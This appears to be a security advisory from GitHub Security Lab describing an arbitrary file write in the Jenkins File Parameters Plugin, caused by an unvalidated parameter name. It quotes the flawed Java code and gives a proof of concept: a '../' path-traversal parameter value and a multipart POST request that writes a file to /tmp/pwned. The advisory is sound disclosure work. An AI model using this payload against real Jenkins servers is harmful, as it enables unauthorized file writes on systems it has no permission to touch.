Coordinated Disclosure Timeline

Summary

Jenkins File Parameters Plugin 285.v757c5b_67a_c25 and earlier does not restrict a file path in a job parameter, allowing attackers with the Job/Configure permission to upload arbitrary files to the Jenkins controller.

Product

File Parameters Plugin

Tested Version

285.v757c5b_67a_c25

Details

Arbitrary file write in StashedFileParameterValue.java (GHSL-2023-077)

The File Parameters Plugin for Jenkins adds the ability to configure file parameters in a job. This is implemented in the class StashedFileParameterValue:

src/main/java/io/jenkins/plugins/file_parameters/StashedFileParameterValue.java:52

@DataBoundConstructor public StashedFileParameterValue(String name, FileItem file) throws IOException {
    this(name, file.getInputStream());
    filename = file.getName();
    file.delete();
}

StashedFileParameterValue(String name, InputStream src) throws IOException {
    super(name);
    tmp = new File(Util.createTempDir(), name);
    tmp.deleteOnExit();
    FileUtils.copyInputStreamToFile(src, tmp);
}

As it can be seen, the name parameter is used to build a file path without validation, which allows it to contain ../ sequences to escape the intended temporary directory. After that, the supplied file is copied to that location, allowing attackers with permissions to configure and run jobs to upload a file with arbitrary contents to any location in the Jenkins controller.

Impact

This issue may lead to arbitrary file write.

PoC

To exploit this vulnerability, an attacker would need to configure a parameterized job with a Stashed File Parameter, using a name like ../../../../../../../../../../../../../../../../../../../../../tmp/pwned.

After that, the job could be executed providing the desired contents in the parameter:

POST /jenkins/job/test/build?delay=0sec HTTP/1.1
[...]


-----------------------------63804224421560642451088342473
Content-Disposition: form-data; name="name"

../../../../../../../../../../../../../../../../../../../../../tmp/pwned
-----------------------------63804224421560642451088342473

Content-Disposition: form-data; name="file0"; filename="pwned"

Content-Type: text/plain

pwned

A file with the desired contents will be created in /tmp/pwned.

CVE

Resources

Credit

This issue was discovered and reported by CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-077 in any communication regarding this issue.